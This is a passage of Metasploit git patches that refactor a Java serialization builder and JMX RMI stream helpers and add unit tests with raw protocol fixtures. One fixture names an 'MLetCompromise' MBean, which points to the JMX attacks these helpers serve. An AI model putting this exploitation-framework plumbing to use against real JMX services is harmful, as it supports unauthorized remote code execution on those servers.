marshall_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new - marshall_object.class_desc.description = marshall_object_class_desc - marshall_object.class_data = [ - ["int", 1919492550], - Rex::Java::Serialization::Model::NullReference.new, - data_binary - ] - + marshall_object = builder.new_object( + name: 'java.rmi.MarshalledObject', + serial: 0x7cbd1e97ed63fc3e, + fields: [ + ['int', 'hash'], + ['array', 'locBytes', '[B'], + ['array', 'objBytes', '[B'] + ], + data: [ + ["int", 1919492550], + Rex::Java::Serialization::Model::NullReference.new, + data_binary + ] + ) stream.contents << marshall_object new_array = builder.new_array( diff --git a/lib/rex/java/serialization/builder.rb b/lib/rex/java/serialization/builder.rb index 2d7e453854..f74ad6b5c1 100644 --- a/lib/rex/java/serialization/builder.rb +++ b/lib/rex/java/serialization/builder.rb @@ -19,6 +19,15 @@ module Rex end def new_object(opts = {}) + class_desc = opts[:description] || new_class(opts) + data = opts[:data] || [] + + object = Rex::Java::Serialization::Model::NewObject.new + object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + object.class_desc.description = class_desc + object.class_data = data + + object end def new_class(opts = {}) From 6ee853fbe24c14cc0e2c130d17783f01f7fefe51 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 20 Jan 2015 10:52:17 -0600 Subject: [PATCH 058/103] Use short type of BlockData.new --- lib/msf/jmx/discovery.rb | 10 +++++----- lib/msf/jmx/handshake.rb | 5 +---- lib/msf/jmx/mbean/server_connection.rb | 14 +++++--------- 3 files changed, 11 insertions(+), 18 deletions(-) diff --git a/lib/msf/jmx/discovery.rb b/lib/msf/jmx/discovery.rb index 29d88b15ed..1ece6feb8a 100644 --- a/lib/msf/jmx/discovery.rb +++ b/lib/msf/jmx/discovery.rb @@ -6,11 +6,11 @@ module Msf def discovery_stream stream = Rex::Java::Serialization::Model::Stream.new - block_data = Rex::Java::Serialization::Model::BlockData.new - block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - block_data.contents << "\x00\x00\x00\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf" - block_data.length = block_data.contents.length - + block_data = Rex::Java::Serialization::Model::BlockData.new( + nil, + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf" + ) stream.contents << block_data stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jmxrmi') diff --git a/lib/msf/jmx/handshake.rb b/lib/msf/jmx/handshake.rb index 6b4bdb18e9..5b389a63e4 100644 --- a/lib/msf/jmx/handshake.rb +++ b/lib/msf/jmx/handshake.rb @@ -6,10 +6,7 @@ module Msf def handshake_stream(id) stream = Rex::Java::Serialization::Model::Stream.new - block_data = Rex::Java::Serialization::Model::BlockData.new - block_data.contents = id + "\xff\xff\xff\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8" - block_data.length = block_data.contents.length - + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{id}\xff\xff\xff\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8") stream.contents << block_data if datastore['USERNAME'] diff --git a/lib/msf/jmx/mbean/server_connection.rb b/lib/msf/jmx/mbean/server_connection.rb index ffd99ec5c8..e466a67f26 100644 --- a/lib/msf/jmx/mbean/server_connection.rb +++ b/lib/msf/jmx/mbean/server_connection.rb @@ -8,10 +8,13 @@ module Msf def create_mbean_stream(id, name) stream = Rex::Java::Serialization::Model::Stream.new +=begin block_data = Rex::Java::Serialization::Model::BlockData.new block_data.contents << id block_data.contents << "\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6" block_data.length = block_data.contents.length +=end + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{id}\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6") stream.contents << block_data stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name) @@ -25,10 +28,7 @@ module Msf builder = Rex::Java::Serialization::Builder.new stream = Rex::Java::Serialization::Model::Stream.new - block_data = Rex::Java::Serialization::Model::BlockData.new - block_data.contents = id - block_data.contents << "\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2" - block_data.length = block_data.contents.length + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{id}\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2") stream.contents << block_data @@ -49,11 +49,7 @@ module Msf builder = Rex::Java::Serialization::Builder.new stream = Rex::Java::Serialization::Model::Stream.new - block_data = Rex::Java::Serialization::Model::BlockData.new - block_data.contents = id - block_data.contents << "\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20" - block_data.length = block_data.contents.length - + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{id}\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20") stream.contents << block_data new_object = builder.new_object( From 3c718ba5dfd7c4f315b0ba46973d917a1800be4a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 20 Jan 2015 11:18:18 -0600 Subject: [PATCH 059/103] Reorder Stream building --- lib/msf/jmx/discovery.rb | 4 +-- lib/msf/jmx/handshake.rb | 4 +-- lib/msf/jmx/mbean/server_connection.rb | 34 ++++++++++---------------- 3 files changed, 17 insertions(+), 25 deletions(-) diff --git a/lib/msf/jmx/discovery.rb b/lib/msf/jmx/discovery.rb index 1ece6feb8a..2cb8b4696d 100644 --- a/lib/msf/jmx/discovery.rb +++ b/lib/msf/jmx/discovery.rb @@ -4,13 +4,13 @@ module Msf module Jmx module Discovery def discovery_stream - stream = Rex::Java::Serialization::Model::Stream.new - block_data = Rex::Java::Serialization::Model::BlockData.new( nil, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf" ) + + stream = Rex::Java::Serialization::Model::Stream.new stream.contents << block_data stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jmxrmi') diff --git a/lib/msf/jmx/handshake.rb b/lib/msf/jmx/handshake.rb index 5b389a63e4..c3f8349c92 100644 --- a/lib/msf/jmx/handshake.rb +++ b/lib/msf/jmx/handshake.rb @@ -4,9 +4,9 @@ module Msf module Jmx module Handshake def handshake_stream(id) - stream = Rex::Java::Serialization::Model::Stream.new - block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{id}\xff\xff\xff\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8") + + stream = Rex::Java::Serialization::Model::Stream.new stream.contents << block_data if datastore['USERNAME'] diff --git a/lib/msf/jmx/mbean/server_connection.rb b/lib/msf/jmx/mbean/server_connection.rb index e466a67f26..e45ce0ca40 100644 --- a/lib/msf/jmx/mbean/server_connection.rb +++ b/lib/msf/jmx/mbean/server_connection.rb @@ -6,16 +6,9 @@ module Msf module ServerConnection def create_mbean_stream(id, name) - stream = Rex::Java::Serialization::Model::Stream.new - -=begin - block_data = Rex::Java::Serialization::Model::BlockData.new - block_data.contents << id - block_data.contents << "\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6" - block_data.length = block_data.contents.length -=end block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{id}\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6") + stream = Rex::Java::Serialization::Model::Stream.new stream.contents << block_data stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name) stream.contents << Rex::Java::Serialization::Model::NullReference.new @@ -26,17 +19,17 @@ module Msf def get_object_instance_stream(id, name) builder = Rex::Java::Serialization::Builder.new - stream = Rex::Java::Serialization::Model::Stream.new block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{id}\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2") - stream.contents << block_data - new_object = builder.new_object( name: 'javax.management.ObjectName', serial: 0xf03a71beb6d15cf, flags: 3 ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << block_data stream.contents << new_object stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name) stream.contents << Rex::Java::Serialization::Model::EndBlockData.new @@ -47,10 +40,8 @@ module Msf def invoke_stream(id, object_name, method_name, arguments) builder = Rex::Java::Serialization::Builder.new - stream = Rex::Java::Serialization::Model::Stream.new block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{id}\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20") - stream.contents << block_data new_object = builder.new_object( name: 'javax.management.ObjectName', @@ -58,11 +49,6 @@ module Msf flags: 3 ) - stream.contents << new_object - stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, object_name) - stream.contents << Rex::Java::Serialization::Model::EndBlockData.new - stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, method_name) - data_binary = builder.new_array( name: '[B', serial: 0xacf317f8060854e0, @@ -84,7 +70,6 @@ module Msf data_binary ] ) - stream.contents << marshall_object new_array = builder.new_array( name: '[Ljava.lang.String;', @@ -93,8 +78,14 @@ module Msf values: arguments.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) } ) + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << block_data + stream.contents << new_object + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, object_name) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, method_name) + stream.contents << marshall_object stream.contents << new_array - stream.contents << Rex::Java::Serialization::Model::NullReference.new stream @@ -102,7 +93,6 @@ module Msf def invoke_arguments_stream(arguments) builder = Rex::Java::Serialization::Builder.new - stream = Rex::Java::Serialization::Model::Stream.new new_array = builder.new_array( name: '[Ljava.lang.Object;', @@ -111,6 +101,8 @@ module Msf values_type: 'java.lang.Object;', values: arguments.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) } ) + + stream = Rex::Java::Serialization::Model::Stream.new stream.contents << new_array stream From 4311226840199876fe2c8c0b04208852e07f268f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 20 Jan 2015 11:26:52 -0600 Subject: [PATCH 060/103] Add documentation for Rex::Java::Serialization::Builder --- lib/rex/java/serialization/builder.rb | 28 +++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) diff --git a/lib/rex/java/serialization/builder.rb b/lib/rex/java/serialization/builder.rb index f74ad6b5c1..c9e69c26a5 100644 --- a/lib/rex/java/serialization/builder.rb +++ b/lib/rex/java/serialization/builder.rb @@ -3,7 +3,18 @@ module Rex module Java module Serialization + # This class provides a builder to help in the construction of + # Java serialized contents. class Builder + + # Creates a Rex::Java::Serialization::Model::NewArray + # + # @param opts [Hash{Symbol => }] + # @option opts [Rex::Java::Serialization::Model::NewClassDesc] :description + # @option opts [String] :values_type + # @option opts [Array] :values + # @return [Rex::Java::Serialization::Model::NewArray] + # @see #new_class def new_array(opts = {}) class_desc = opts[:description] || new_class(opts) type = opts[:values_type] || '' @@ -18,6 +29,13 @@ module Rex array end + # Creates a Rex::Java::Serialization::Model::NewObject + # + # @param opts [Hash{Symbol => }] + # @option opts [Rex::Java::Serialization::Model::NewClassDesc] :description + # @option opts [Array] :data + # @return [Rex::Java::Serialization::Model::NewObject] + # @see #new_class def new_object(opts = {}) class_desc = opts[:description] || new_class(opts) data = opts[:data] || [] @@ -30,6 +48,16 @@ module Rex object end + # Creates a Rex::Java::Serialization::Model::NewClassDesc + # + # @param opts [Hash{Symbol => }] + # @option opts [String] :name + # @option opts [Fixnum] :serial + # @option opts [Fixnum] :flags + # @option opts [Array] :fields + # @option opts [Array] :annotations + # @option opts [Rex::Java::Serialization::Model::Element] :super_class + # @return [Rex::Java::Serialization::Model::NewClassDesc] def new_class(opts = {}) class_name = opts[:name] || '' serial_version = opts[:serial] || 0 From 09fe65eeba865dcc192e3f825f3d671665e23bcb Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 20 Jan 2015 11:59:33 -0600 Subject: [PATCH 061/103] Add specs for Rex::Java::Serialization::Builder#new_class --- .../rex/java/serialization/builder_spec.rb | 78 +++++++++++++++++++ 1 file changed, 78 insertions(+) create mode 100644 spec/lib/rex/java/serialization/builder_spec.rb diff --git a/spec/lib/rex/java/serialization/builder_spec.rb b/spec/lib/rex/java/serialization/builder_spec.rb new file mode 100644 index 0000000000..3739f4853b --- /dev/null +++ b/spec/lib/rex/java/serialization/builder_spec.rb @@ -0,0 +1,78 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java' + +describe Rex::Java::Serialization::Builder do + subject(:builder) do + described_class.new + end + + let(:opts) do + { + name: 'java.rmi.MarshalledObject', + serial: 0x7cbd1e97ed63fc3e, + fields: [ + ['int', 'hash'], + ['array', 'locBytes', '[B'], + ['array', 'objBytes', '[B'] + ] + } + end + + describe ".new" do + it "returns a Rex::Java::Serialization::Builder" do + expect(builder).to be_a(Rex::Java::Serialization::Builder) + end + end + + describe "#new_class" do + context "when no options" do + it "returns a Rex::Java::Serialization::Model::NewClassDesc" do + expect(builder.new_class).to be_a(Rex::Java::Serialization::Model::NewClassDesc) + end + + it "sets an empty class name" do + expect(builder.new_class.class_name.contents).to eq('') + end + + it "sets a 0 serial version" do + expect(builder.new_class.serial_version).to eq(0) + end + + it "sets flags to SC_SERIALIZABLE" do + expect(builder.new_class.flags).to eq(Rex::Java::Serialization::SC_SERIALIZABLE) + end + + it "sets default annotations" do + expect(builder.new_class.class_annotation.contents.length).to eq(2) + end + + it "sets empty fields" do + expect(builder.new_class.fields.length).to eq(0) + end + + it "sets null super class" do + expect(builder.new_class.super_class.description).to be_a(Rex::Java::Serialization::Model::NullReference) + end + end + + context "when options" do + it "returns a Rex::Java::Serialization::Model::NewClassDesc" do + expect(builder.new_class(opts)).to be_a(Rex::Java::Serialization::Model::NewClassDesc) + end + + it "sets the class name from options" do + expect(builder.new_class(opts).class_name.contents).to eq(opts[:name]) + end + + it "sets serial version from options" do + expect(builder.new_class(opts).serial_version).to eq(opts[:serial]) + end + + it "sets fields from options" do + expect(builder.new_class(opts).fields.length).to eq(3) + end + end + end +end \ No newline at end of file From d4a8049ac59a08b4bb1afd474d1e1cff40134e20 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 20 Jan 2015 15:03:37 -0600 Subject: [PATCH 062/103] Add specs for Rex::Java::Serialization::Builder#new_object --- .../rex/java/serialization/builder_spec.rb | 38 ++++++++++++++++--- 1 file changed, 33 insertions(+), 5 deletions(-) diff --git a/spec/lib/rex/java/serialization/builder_spec.rb b/spec/lib/rex/java/serialization/builder_spec.rb index 3739f4853b..c14a87bec9 100644 --- a/spec/lib/rex/java/serialization/builder_spec.rb +++ b/spec/lib/rex/java/serialization/builder_spec.rb @@ -8,7 +8,7 @@ describe Rex::Java::Serialization::Builder do described_class.new end - let(:opts) do + let(:class_opts) do { name: 'java.rmi.MarshalledObject', serial: 0x7cbd1e97ed63fc3e, @@ -20,6 +20,12 @@ describe Rex::Java::Serialization::Builder do } end + let(:object_opts) do + { + data: [["int", 1]] + } + end + describe ".new" do it "returns a Rex::Java::Serialization::Builder" do expect(builder).to be_a(Rex::Java::Serialization::Builder) @@ -59,19 +65,41 @@ describe Rex::Java::Serialization::Builder do context "when options" do it "returns a Rex::Java::Serialization::Model::NewClassDesc" do - expect(builder.new_class(opts)).to be_a(Rex::Java::Serialization::Model::NewClassDesc) + expect(builder.new_class(class_opts)).to be_a(Rex::Java::Serialization::Model::NewClassDesc) end it "sets the class name from options" do - expect(builder.new_class(opts).class_name.contents).to eq(opts[:name]) + expect(builder.new_class(class_opts).class_name.contents).to eq(class_opts[:name]) end it "sets serial version from options" do - expect(builder.new_class(opts).serial_version).to eq(opts[:serial]) + expect(builder.new_class(class_opts).serial_version).to eq(class_opts[:serial]) end it "sets fields from options" do - expect(builder.new_class(opts).fields.length).to eq(3) + expect(builder.new_class(class_opts).fields.length).to eq(3) + end + end + end + + describe "#new_object" do + context "when no options" do + it "returns a Rex::Java::Serialization::Model::NewObject" do + expect(builder.new_object).to be_a(Rex::Java::Serialization::Model::NewObject) + end + + it "sets empty data" do + expect(builder.new_object.class_data).to eq([]) + end + end + + context "when options" do + it "returns a Rex::Java::Serialization::Model::NewClassDesc" do + expect(builder.new_object(object_opts)).to be_a(Rex::Java::Serialization::Model::NewObject) + end + + it "sets data from options" do + expect(builder.new_object(object_opts).class_data[0][1]).to eq(1) end end end From 7d43ec7f936b27be83768232a6ad9ba8a62503a0 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 20 Jan 2015 15:13:30 -0600 Subject: [PATCH 063/103] Add specs for Rex::Java::Serialization::Builder#add_specs --- .../rex/java/serialization/builder_spec.rb | 39 ++++++++++++++++++- 1 file changed, 38 insertions(+), 1 deletion(-) diff --git a/spec/lib/rex/java/serialization/builder_spec.rb b/spec/lib/rex/java/serialization/builder_spec.rb index c14a87bec9..86e957f19c 100644 --- a/spec/lib/rex/java/serialization/builder_spec.rb +++ b/spec/lib/rex/java/serialization/builder_spec.rb @@ -26,6 +26,13 @@ describe Rex::Java::Serialization::Builder do } end + let(:array_opts) do + { + values_type: 'byte', + values: [0x41, 0x42, 0x43, 0x44] + } + end + describe ".new" do it "returns a Rex::Java::Serialization::Builder" do expect(builder).to be_a(Rex::Java::Serialization::Builder) @@ -94,7 +101,7 @@ describe Rex::Java::Serialization::Builder do end context "when options" do - it "returns a Rex::Java::Serialization::Model::NewClassDesc" do + it "returns a Rex::Java::Serialization::Model::NewObject" do expect(builder.new_object(object_opts)).to be_a(Rex::Java::Serialization::Model::NewObject) end @@ -103,4 +110,34 @@ describe Rex::Java::Serialization::Builder do end end end + + describe "#new_array" do + context "when no options" do + it "returns a Rex::Java::Serialization::Model::NewArray" do + expect(builder.new_array).to be_a(Rex::Java::Serialization::Model::NewArray) + end + + it "sets empty values type" do + expect(builder.new_array.type).to eq('') + end + + it "sets empty values array" do + expect(builder.new_array.values).to eq([]) + end + end + + context "when options" do + it "returns a Rex::Java::Serialization::Model::NewArray" do + expect(builder.new_array(array_opts)).to be_a(Rex::Java::Serialization::Model::NewArray) + end + + it "sets empty values type" do + expect(builder.new_array(array_opts).type).to eq(array_opts[:values_type]) + end + + it "sets empty values array" do + expect(builder.new_array(array_opts).values).to eq(array_opts[:values]) + end + end + end end \ No newline at end of file From 39e3f9f8923756718fba83449ece4b2c821a52d3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 20 Jan 2015 16:18:53 -0600 Subject: [PATCH 064/103] Add specs for Msf::Jmx::Util --- lib/msf/jmx/util.rb | 16 +++++++ spec/lib/msf/jmx/util_spec.rb | 86 +++++++++++++++++++++++++++++++++++ 2 files changed, 102 insertions(+) create mode 100644 spec/lib/msf/jmx/util_spec.rb diff --git a/lib/msf/jmx/util.rb b/lib/msf/jmx/util.rb index 292b7a2acc..6567a23c11 100644 --- a/lib/msf/jmx/util.rb +++ b/lib/msf/jmx/util.rb @@ -2,8 +2,16 @@ module Msf module Jmx + # This module provides methods which help to handle data + # used by Java JMX module Util + # Extracts a Rex::Java::Serialization::Model::NewObject from + # a Rex::Java::Serialization::Model::Stream + # + # @param stream [Rex::Java::Serialization::Model::Stream] the stream to extract the object from + # @param id [Fixnum] the content position storing the object + # @return [Rex::Java::Serialization::Model::NewObject, nil] the extracted object if success, nil otherwise def extract_object(stream, id) new_object = nil @@ -20,6 +28,10 @@ module Msf new_object.class_desc.description.class_name.contents end + # Extracts an string from an IO + # + # @param io [IO] the io to extract the string from + # @return [String, nil] the extracted string if success, nil otherwise def extract_string(io) raw_length = io.read(2) unless raw_length && raw_length.length == 2 @@ -35,6 +47,10 @@ module Msf string end + # Extracts an int from an IO + # + # @param io [IO] the io to extract the int from + # @return [Fixnum, nil] the extracted int if success, nil otherwise def extract_int(io) int_raw = io.read(4) unless int_raw && int_raw.length == 4 diff --git a/spec/lib/msf/jmx/util_spec.rb b/spec/lib/msf/jmx/util_spec.rb new file mode 100644 index 0000000000..fea05feed5 --- /dev/null +++ b/spec/lib/msf/jmx/util_spec.rb @@ -0,0 +1,86 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/java' +require 'msf/jmx' + +describe Msf::Jmx::Util do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Jmx + mod.send(:initialize) + mod + end + + let(:empty) { '' } + let(:empty_io) { StringIO.new(empty) } + let(:string) { "\x00\x04\x41\x42\x43\x44" } + let(:string_io) { StringIO.new(string) } + let(:int) { "\x00\x00\x00\x04" } + let(:int_io) { StringIO.new(int) } + let(:stream_raw) do + "\xac\xed\x00\x05\x77\x22\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d" + + "\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03\xff\xff\xff\xff" + + "\x60\x73\xb3\x36\x1f\x37\xbd\xc2\x73\x72\x00\x1b\x6a\x61\x76\x61" + + "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + + "\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + + "\x00\x00\x70\x78\x70\x74\x00\x1d\x4d\x4c\x65\x74\x43\x6f\x6d\x70" + + "\x72\x6f\x6d\x69\x73\x65\x3a\x6e\x61\x6d\x65\x3d\x65\x76\x69\x6c" + + "\x2c\x69\x64\x3d\x31\x78\x70" + end + let(:stream) { Rex::Java::Serialization::Model::Stream.decode(StringIO.new(stream_raw)) } + + describe "#extract_string" do + context "when io contains a valid string" do + it "returns the string" do + expect(mod.extract_string(string_io)).to eq('ABCD') + end + end + + context "when io doesn't contain a valid string" do + it "returns nil" do + expect(mod.extract_string(empty_io)).to be_nil + end + end + end + + describe "#extract_int" do + context "when io contains a valid int" do + it "returns the string" do + expect(mod.extract_int(int_io)).to eq(4) + end + end + + context "when io doesn't contain a valid int" do + it "returns nil" do + expect(mod.extract_int(empty_io)).to be_nil + end + end + end + + describe "#extract_object" do + context "when empty stream" do + it "returns nil" do + empty_stream = Rex::Java::Serialization::Model::Stream.new + expect(mod.extract_object(empty_stream, 1)). to be_nil + end + end + + context "when valid stream" do + context "when id stores an object" do + it "returns the object's class name" do + expect(mod.extract_object(stream, 1)).to eq('javax.management.ObjectName') + end + end + + context "when id doesn't store an object" do + it "returns nil" do + expect(mod.extract_object(stream, 0)). to be_nil + end + end + end + end + +end + From f3fa4562bde300ae64534fb1c6ecbc5f5b1b5c75 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 20 Jan 2015 16:49:02 -0600 Subject: [PATCH 065/103] Add specs for Msf::Jmx::Discovery --- spec/lib/msf/jmx/discovery_spec.rb | 68 ++++++++++++++++++++++++++++++ 1 file changed, 68 insertions(+) create mode 100644 spec/lib/msf/jmx/discovery_spec.rb diff --git a/spec/lib/msf/jmx/discovery_spec.rb b/spec/lib/msf/jmx/discovery_spec.rb new file mode 100644 index 0000000000..8a9fd1f4f9 --- /dev/null +++ b/spec/lib/msf/jmx/discovery_spec.rb @@ -0,0 +1,68 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/java' +require 'msf/jmx' + +describe Msf::Jmx::Util do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Jmx + mod.send(:initialize) + mod + end + + let(:stream_discovery) do + "\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02" + + "\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf\x74\x00\x06\x6a\x6d\x78\x72\x6d" + + "\x69" + end + + let(:block_data_answer) do + "\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37" + + "\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x31\x00\x00\x0b\xf1" + + "\x54\x74\xc4\x27\xb7\xa3\x4e\x9b\x51\xb5\x25\xf9\x00\x00\x01\x4a" + + "\xdf\xd4\x57\x7e\x80\x01\x01" + end + + let(:mbean_server) do + { + :address => '172.16.158.131', + :id => "\x54\x74\xc4\x27\xb7\xa3\x4e\x9b\x51\xb5\x25\xf9\x00\x00\x01\x4a\xdf\xd4\x57\x7e\x80\x01\x01", + :port => 3057 + } + end + + describe "#discovery_stream" do + + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.discovery_stream).to be_a(Rex::Java::Serialization::Model::Stream) + end + + it "builds a valid stream to discover an jmxrmi endpoing" do + require 'rex/text' + expect(mod.discovery_stream.encode).to eq(stream_discovery) + end + end + + describe "#extract_mbean_server" do + context "when empty block data" do + it "returns nil" do + expect(mod.extract_mbean_server(Rex::Java::Serialization::Model::BlockData.new)). to be_nil + end + end + + context "when valid block data" do + it "returns a hash" do + expect(mod.extract_mbean_server(Rex::Java::Serialization::Model::BlockData.new(nil, block_data_answer))).to be_a(Hash) + end + + it "returns a hash containing the end point information" do + expect(mod.extract_mbean_server(Rex::Java::Serialization::Model::BlockData.new(nil, block_data_answer))).to eq(mbean_server) + end + end + end +end + From 7b675adf0134fae67e05f18d5f3934bbc17e852d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 20 Jan 2015 17:29:48 -0600 Subject: [PATCH 066/103] Add specs for Msf::Jmx::Handshake --- lib/msf/jmx.rb | 20 ++++++++++++ lib/msf/jmx/handshake.rb | 6 ++-- spec/lib/msf/jmx/discovery_spec.rb | 3 +- spec/lib/msf/jmx/handshake_spec.rb | 51 ++++++++++++++++++++++++++++++ 4 files changed, 75 insertions(+), 5 deletions(-) create mode 100644 spec/lib/msf/jmx/handshake_spec.rb diff --git a/lib/msf/jmx.rb b/lib/msf/jmx.rb index ff7fbc1e82..ece6d76366 100644 --- a/lib/msf/jmx.rb +++ b/lib/msf/jmx.rb @@ -13,5 +13,25 @@ module Msf include Msf::Jmx::Discovery include Msf::Jmx::Handshake include Msf::Jmx::MBean + + def initialize(info = {}) + super + + register_options( + [ + Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint', '/']), + Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint', '/']) + ], HTTP::Wordpress + ) + end + + def jmx_role + datastore['JMX_ROLE'] + end + + def jmx_password + datastore['JMX_PASSWORD'] + end + end end diff --git a/lib/msf/jmx/handshake.rb b/lib/msf/jmx/handshake.rb index c3f8349c92..cb86d1b2bf 100644 --- a/lib/msf/jmx/handshake.rb +++ b/lib/msf/jmx/handshake.rb @@ -9,9 +9,9 @@ module Msf stream = Rex::Java::Serialization::Model::Stream.new stream.contents << block_data - if datastore['USERNAME'] - username = datastore['USERNAME'] - password = datastore['PASSWORD'] || '' + if jmx_role + username = jmx_role + password = jmx_password || '' stream.contents << auth_array_stream(username, password) else diff --git a/spec/lib/msf/jmx/discovery_spec.rb b/spec/lib/msf/jmx/discovery_spec.rb index 8a9fd1f4f9..77b5392ffc 100644 --- a/spec/lib/msf/jmx/discovery_spec.rb +++ b/spec/lib/msf/jmx/discovery_spec.rb @@ -5,7 +5,7 @@ require 'stringio' require 'rex/java' require 'msf/jmx' -describe Msf::Jmx::Util do +describe Msf::Jmx::Discovery do subject(:mod) do mod = ::Msf::Exploit.new mod.extend ::Msf::Jmx @@ -42,7 +42,6 @@ describe Msf::Jmx::Util do end it "builds a valid stream to discover an jmxrmi endpoing" do - require 'rex/text' expect(mod.discovery_stream.encode).to eq(stream_discovery) end end diff --git a/spec/lib/msf/jmx/handshake_spec.rb b/spec/lib/msf/jmx/handshake_spec.rb new file mode 100644 index 0000000000..0039d23801 --- /dev/null +++ b/spec/lib/msf/jmx/handshake_spec.rb @@ -0,0 +1,51 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/java' +require 'msf/jmx' + +describe Msf::Jmx::Handshake do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Jmx + mod.send(:initialize) + mod + end + + let(:handshake_stream) do + "\xac\xed\x00\x05\x77\x0d\x30\xff\xff\xff\xff\xf0\xe0\x74\xea\xad" + + "\x0c\xae\xa8\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61" + + "\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d" + + "\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x02\x74\x00\x01\x2f" + + "\x74\x00\x01\x2f" + end + + let(:auth_stream) do + "\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53" + + "\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00" + + "\x00\x70\x78\x70\x00\x00\x00\x02\x74\x00\x04\x72\x6f\x6c\x65\x74" + + "\x00\x08\x70\x61\x73\x73\x77\x6f\x72\x64" + end + + describe "#handshake_stream" do + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.handshake_stream(0)).to be_a(Rex::Java::Serialization::Model::Stream) + end + + it "builds a correct stream" do + expect(mod.handshake_stream(0).encode).to eq(handshake_stream) + end + end + + describe "#auth_array_stream" do + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.auth_array_stream('role', 'password')).to 